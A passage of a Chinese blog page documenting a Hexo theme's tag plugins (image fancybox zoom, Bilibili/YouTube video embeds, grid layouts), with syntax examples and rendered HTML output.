&#x63D2;&#x4EF6;&#x9ED8;&#x8BA4;&#x4E5F;&#x662F;&#x5DF2;&#x7ECF;&#x914D;&#x7F6E;&#x597D;&#x4E86;&#x7684;&#xFF0C;&#x5728;&#x4EFB;&#x610F;&#xA0;<code>image</code>&#xA0;&#x6807;&#x7B7E;&#x4E2D;&#x589E;&#x52A0;&#xA0;<code>fancybox:true</code>&#xA0;&#x53C2;&#x6570;&#x5373;&#x53EF;&#x4E3A;&#x7279;&#x5B9A;&#x56FE;&#x7247;&#x5F00;&#x542F;&#x7F29;&#x653E;&#x529F;&#x80FD;&#x3002;&#x5982;&#x679C;&#x4E00;&#x4E2A;&#x9875;&#x9762;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x5730;&#x65B9;&#x4F7F;&#x7528;&#xFF0C;&#x5219;&#x4E0D;&#x4F1A;&#x52A0;&#x8F7D; Fancybox &#x63D2;&#x4EF6;&#x3002;&#x5982;&#x679C;&#x60A8;&#x5E0C;&#x671B;&#x5168;&#x7AD9;&#x6240;&#x6709;&#x7684;&#xA0;<code>image</code>&#xA0;&#x6807;&#x7B7E;&#x90FD;&#x5F00;&#x542F;&#x6B64;&#x529F;&#x80FD;&#xFF0C;&#x53EF;&#x5728;&#x4E3B;&#x9898;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x4E2D;&#x4FEE;&#x6539;&#x4EE5;&#x4E0B;&#x53C2;&#x6570;&#xFF1A;</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">######## Tag Plugins ########</span></span><br><span class="line"><span class="attr">tag_plugins:</span></span><br><span class="line">  <span class="comment"># {% image %}</span></span><br><span class="line">  <span class="attr">image:</span></span><br><span class="line">    <span class="string">fancybox:false</span></span><br></pre></td></tr></table></figure><p>&#x4ECE; 1.28.1 &#x7248;&#x672C;&#x5F00;&#x59CB;&#xFF0C;&#x5982;&#x679C;&#x60F3;&#x5728;&#x9875;&#x9762;&#x4E2D;&#x5C55;&#x793A;&#x8F83;&#x5C0F;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x4F46;&#x5728; fancybox &#x4E2D;&#x5C55;&#x793A;&#x8F83;&#x5927;&#x7684;&#x9AD8;&#x6E05;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x53EF;&#x4EE5;&#x7528;&#xA0;<code>fancybox:&#x5927;&#x56FE;&#x94FE;&#x63A5;</code>&#xA0;&#x53C2;&#x6570;&#x3002;</p><div class="tag-plugin image"><div class="image-bg" style="background:var(--card);padding:16px;"><img src="https://s.xaox.cc/xaoxuu/posts/202401131914137.jpg-hd" data-fancybox="true"></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="17-video-&#x89C6;&#x9891;">17. video &#x89C6;&#x9891;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{% video [bilibili:video-id] [youtube:video-id] [ratio:16/9] [width:100%] [autoplay:false] %}</span><br><span class="line">&#x6CE8;&#xFF1A; radio &#x53EF;&#x4EE5;&#x6307;&#x5B9A; 16/9, 4/3&#x7B49;&#x6BD4;&#x4F8B;</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{% video bilibili:BV1rm421g77b autoplay:false ratio:4/3 %}</span><br><span class="line"></span><br><span class="line">{% video bilibili:BV1GP4y1d729 width:100% autoplay:0 %}</span><br><span class="line"></span><br><span class="line">{% video youtube:LB8KwiiUGy0 width:100% autoplay:0 %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C; <span class="tag-plugin icon colorful" color="red"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 1024 1024"><path fill="#888888" fill-rule="evenodd" d="M235.516 616.574c16.736-.741 32.287-1.778 47.69-2.074c66.797-1.185 132.409 6.814 194.762 31.998c30.51 12.296 59.984 26.517 86.495 46.516c21.772 16.444 26.512 36.887 16.588 67.108c-6.22 18.665-18.661 32.739-34.36 45.034c-37.028 28.888-75.832 54.96-120.412 69.626c-31.251 10.37-63.687 18.222-96.27 23.259c-42.803 6.666-86.2 9.629-129.447 13.628c-8.886.89-17.92-.296-26.807-.296c-4.591 0-5.776-2.37-5.924-6.37c-1.185-19.703-2.074-39.553-3.851-59.256c-2.222-25.48-4.74-50.96-7.702-76.292c-3.999-35.406-8.442-70.663-12.885-105.92c-4.592-37.184-9.331-74.22-13.774-111.403c-4.443-36.294-8.442-72.736-13.182-109.03c-5.332-41.48-11.256-82.96-16.884-124.439c-6.665-49.033-15.848-97.623-28.437-145.473c-.592-2.074 1.185-6.666 2.962-7.259c41.915-16.889 83.978-33.331 125.892-50.071c13.922-5.63 15.107-7.26 15.255 10.37c.148 75.107.444 150.214 1.63 225.321c.592 39.11 2.073 78.218 4.739 117.18c3.258 47.552 8.294 95.106 12.589 142.659c0 2.074.889 4 1.333 5.185m83.68 218.062a74372.3 74372.3 0 0 0 114.784-86.958c-4.74-6.815-109.303-47.85-133.89-53.33c6.221 46.367 12.59 92.587 19.107 140.288m434.12-14.387C733.38 618.113 716.544 413.756 678 210.584c12.553-1.481 25.106-3.258 37.806-4.295c14.62-1.332 29.388-1.925 44.009-3.11c12.257-1.036 16.835 2.222 17.574 14.217c2.215 32.134 4.135 64.268 6.35 96.403c2.953 43.388 6.055 86.925 9.156 130.314c2.215 31.246 4.135 62.64 6.646 93.886c2.805 34.207 5.907 68.267 9.008 102.474c2.215 25.175 4.283 50.497 6.793 75.672c2.658 27.247 5.612 54.495 8.418 81.742c.738 7.849 1.624 15.697 2.215 23.546c.296 4.294-2.067 4.887-6.055 4.442c-21.709-2.221-43.418-3.85-66.603-5.627M572 527.155c17.616-2.517 34.639-5.33 51.662-7.254c12.287-1.48 24.721-1.629 37.008-2.813c6.661-.593 10.954 1.776 11.99 8.29c2.813 17.322 5.773 34.79 7.846 52.26c3.405 29.017 6.07 58.182 9.178 87.199c2.664 25.464 5.329 50.78 8.29 76.243c3.256 27.24 6.809 54.333 10.213 81.425c1.037 7.995 1.777 16.137 2.813 24.872A9507.093 9507.093 0 0 0 636.245 857C614.929 747.15 593.612 638.189 572 527.155m382 338.821c-24.084 0-47.276.148-70.468-.296c-1.933 0-5.352-3.409-5.501-5.484c-3.568-37.05-6.69-73.953-9.96-111.004l-9.367-103.149c-3.27-35.42-6.393-70.841-9.663-106.262c-.149-2.074-.595-4.001-1.041-7.113c8.623-1.038 16.8-2.668 25.125-2.668c22.449 0 44.897.593 67.495 1.186c5.798.148 8.325 4.001 8.623 9.336c.743 11.116 1.784 22.083 1.784 33.198c.148 52.167-.149 104.483.297 156.65c.446 41.646 1.784 83.439 2.676 125.084zM622.069 480c-5.307-42.568-10.614-84.102-16.069-127.409c13.857-.148 27.715-.591 41.425-.591c4.57 0 6.634 2.513 7.076 7.538c3.686 38.725 7.519 77.45 11.499 117.654c-14.3.739-29.042 1.773-43.931 2.808M901 364.066c11.937 0 24.619-.148 37.45 0c6.417.148 9.55 2.672 9.55 10.244c-.448 36.224-.15 72.449-.15 108.525V491c-15.367-.742-30.139-1.485-46.7-2.227c-.15-41.124-.15-82.396-.15-124.707M568.569 489c-7.424-41.193-14.996-82.091-22.569-124.023c13.512-2.067 27.023-4.282 40.387-5.906c5.939-.738 4.9 4.43 5.197 7.678c1.633 13.879 2.82 27.61 4.305 41.488c2.376 21.704 4.752 43.408 6.979 64.965c.297 2.805 0 5.758 0 8.859c-11.284 2.362-22.569 4.577-34.299 6.939M839 365.16c12.718 0 25.435.148 38.004-.148c5.685-.149 7.78 1.038 7.63 7.563c-.449 17.352.15 34.704.3 52.204c.15 21.505 0 43.157 0 64.513c-12.868 1.335-24.09 2.373-36.209 3.708c-3.142-41.97-6.433-83.793-9.725-127.84"/></svg></span>&#xFF1A;</p><div class="tag-plugin video" style="aspect-ratio:4/3;max-width:100%;">    <iframe src="https://player.bilibili.com/player.html?bvid=BV1rm421g77b&amp;autoplay=false" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true">    </iframe>    </div>    <div class="tag-plugin video" style="aspect-ratio:1.7777777777777777;max-width:100%;">    <iframe src="https://player.bilibili.com/player.html?bvid=BV1GP4y1d729&amp;autoplay=0" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true">    </iframe>    </div>    <div class="tag-plugin video" style="aspect-ratio:1.7777777777777777;max-width:100%;">    <iframe style="border:none" src="https://www.youtube.com/embed/LB8KwiiUGy0?rel=0&amp;disablekb=1&amp;playsinline=1&amp;autoplay=0" picture-in-picture="true" allowfullscreen="true">    </iframe>    </div>    <p>&#x8FD8;&#x6709; paper(&#x4FE1;&#x7EB8;&#x6807;&#x7B7E;), reel(&#x5377;&#x8F74;&#x6807;&#x7B7E;), audio(&#x97F3;&#x9891;&#x6807;&#x7B7E;)&#xFF0C;&#x89C9;&#x5F97;&#x7528;&#x5904;&#x4E0D;&#x5927;&#xFF0C;&#x8DF3;&#x8FC7;&#x3002;</p><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h3 id="&#x5BB9;&#x5668;&#x7C7B;&#x6807;&#x7B7E;">&#x5BB9;&#x5668;&#x7C7B;&#x6807;&#x7B7E;</h3><h4 id="1-grid-&#x7F51;&#x683C;">1. grid &#x7F51;&#x683C;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#xA0;{% grid [bg:box/card] [w:240px] [c:2] [gap:16px] [br:12px] %}</span><br><span class="line">&#xA0;&lt;!-- cell --&gt;</span><br><span class="line">&#xA0;left body</span><br><span class="line">&#xA0;&lt;!-- cell --&gt;</span><br><span class="line">&#xA0;right body</span><br><span class="line">&#xA0;{% endgrid %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">{% grid bg:box w:240px c:2 gap:16px br:12px %}</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">&#x63A8;&#x8350;:</span><br><span class="line">{code block}</span><br><span class="line">&#xA0;&lt;!-- cell --&gt;</span><br><span class="line">&#x4E0D;&#x63A8;&#x8350;:</span><br><span class="line">{code block}</span><br><span class="line">{% endgrid %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin grid" bg="box" style="grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));grid-gap:16px;"><div class="cell" style="border-radius:12px;">    <p>&#x63A8;&#x8350;:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// good</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p></p>    </div>    <div class="cell" style="border-radius:12px;">    <p>&#x4E0D;&#x63A8;&#x8350;:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// bad</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>    </div>    </div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x52A8;&#x6001;&#x5217;&#x6570;</span><span class="empty"></span></p></div><p>&#x9ED8;&#x8BA4;&#x7684;&#x5E03;&#x5C40;&#x4E3A;&#x3010;&#x6700;&#x5C0F;&#x5BBD;&#x5EA6;&#x4E3A; 240px&#x3011;&#x5373;&#x5982;&#x679C;&#x9875;&#x9762;&#x5BBD;&#x5EA6;&#x5927;&#x4E8E; 480px &#x5219;&#x4F1A;&#x663E;&#x793A;&#x4E3A; 2 &#x5217;&#xFF0C;&#x5927;&#x4E8E; 720px &#x5219;&#x4F1A;&#x663E;&#x793A;&#x4E3A; 3 &#x5217;&#xFF0C;&#x4EE5;&#x6B64;&#x7C7B;&#x63A8;&#xFF0C;&#x4E0B;&#x9762;&#x662F;&#x6548;&#x679C;&#xFF1A;</p><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">{% grid %}</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">{% image https://images.unsplash.com/photo-1653979731557-530f259e0c2c?ixlib=rb-4.0.3&amp;ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&amp;auto=format&amp;fit=crop&amp;w=774&amp;q=80 download:https://unsplash.com/photos/bcql6CtuNv0/download?ixid=MnwxMjA3fDB8MXx0b3BpY3x8NnNNVmpUTFNrZVF8fHx8fDJ8fDE2Njg4NDAxMDI&amp;force=true %}</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line"><span class="strong">**[<span class="string">Unsplash Photo</span>](<span class="link">https://unsplash.com/photos/bcql6CtuNv0</span>)**</span></span><br><span class="line"></span><br><span class="line">The Galactic Center is the rotational center of the Milky Way galaxy. Its central massive object is a supermassive black hole of about 4 million solar masses, which is called Sagittarius A<span class="emphasis">*. Its mass is equal to four million suns. The center is located 25,800 light years away from Earth.</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">&gt; &#x14C;whiro Bay, Wellington, New Zealand</span></span><br><span class="line"><span class="emphasis">&gt; Published on May 31, 2022</span></span><br><span class="line"><span class="emphasis">&gt; SONY, ILCE-6000</span></span><br><span class="line"><span class="emphasis">&gt; Free to use under the Unsplash License</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">{% endgrid %}</span></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin grid" style="grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));"><div class="cell" style>    <div class="tag-plugin image"><div class="image-bg"><img src="https://images.unsplash.com/photo-1653979731557-530f259e0c2c?ixlib=rb-4.0.3&amp;ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&amp;auto=format&amp;fit=crop&amp;w=774&amp;q=80"><a class="image-download blur" style="opacity:0" target="_blank" href="https://unsplash.com/photos/bcql6CtuNv0/download?ixid=MnwxMjA3fDB8MXx0b3BpY3x8NnNNVmpUTFNrZVF8fHx8fDJ8fDE2Njg4NDAxMDI&amp;force=true"><svg class="icon" style="width: 1em; height: 1em;vertical-align: middle;fill: currentColor;overflow: hidden;" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="3734"><path d="M561.00682908 685.55838913a111.03077546 111.03077546 0 0 1-106.8895062 0L256.23182837 487.72885783a55.96309219 55.96309219 0 0 1 79.13181253-79.18777574L450.70357448 523.88101491V181.55477937a55.96309219 55.96309219 0 0 1 111.92618438 0v344.06109173l117.07478902-117.07478901a55.96309219 55.96309219 0 0 1 79.13181252 79.18777574zM282.81429711 797.1487951h447.70473912a55.96309219 55.96309219 0 0 1 0 111.92618438H282.81429711a55.96309219 55.96309219 0 0 1 0-111.92618438z" p-id="3735"/></svg></a></div></div>    </div>    <div class="cell" style>    <p><strong><a href="https://unsplash.com/photos/bcql6CtuNv0">Unsplash Photo</a></strong></p><p>The Galactic Center is the rotational center of the Milky Way galaxy. Its central massive object is a supermassive black hole of about 4 million solar masses, which is called Sagittarius A*. Its mass is equal to four million suns. The center is located 25,800 light years away from Earth.</p><blockquote><p>&#x14C;whiro Bay, Wellington, New Zealand<br>Published on May 31, 2022<br>SONY, ILCE-6000<br>Free to use under the Unsplash License</p></blockquote>    </div>    </div><p><strong>&#x5982;&#x679C;&#x8981;&#x4FEE;&#x6539;&#x6700;&#x5C0F;&#x5BBD;&#x5EA6;&#xFF0C;&#x53EF;&#x4EE5;&#x8FD9;&#x6837;&#x5199;&#xFF1A;</strong></p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% grid w:350px %}</span><br><span class="line">...</span><br><span class="line">{% endgrid %}</span><br></pre></td></tr></table></figure><p><strong>&#x5982;&#x679C;&#x8981;&#x56FA;&#x5B9A;&#x4E3A; 2 &#x5217;&#xFF0C;&#x53EF;&#x4EE5;&#x8FD9;&#x6837;&#x5199;&#xFF1A;</strong></p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% grid c:2 %}</span><br><span class="line">...</span><br><span class="line">{% endgrid %}</span><br></pre></td></tr></table></figure><p><strong>&#x6837;&#x5F0F;&#x80CC;&#x666F;&#xFF1A;</strong></p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">&#x666E;&#x901A; Box &#x6837;&#x5F0F;&#xFF1A;</span><br><span class="line"></span><br><span class="line">{% grid bg:box w:150px %}</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 1</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 2</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 3</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 4</span><br><span class="line">{% endgrid %}</span><br><span class="line"></span><br><span class="line">&#x53EF;&#x6D6E;&#x8D77;&#x7684;&#x5361;&#x7247;&#x6837;&#x5F0F;&#xFF1A;</span><br><span class="line"></span><br><span class="line">{% grid bg:card w:150px %}</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 1</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 2</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 3</span><br><span class="line">&lt;!-- 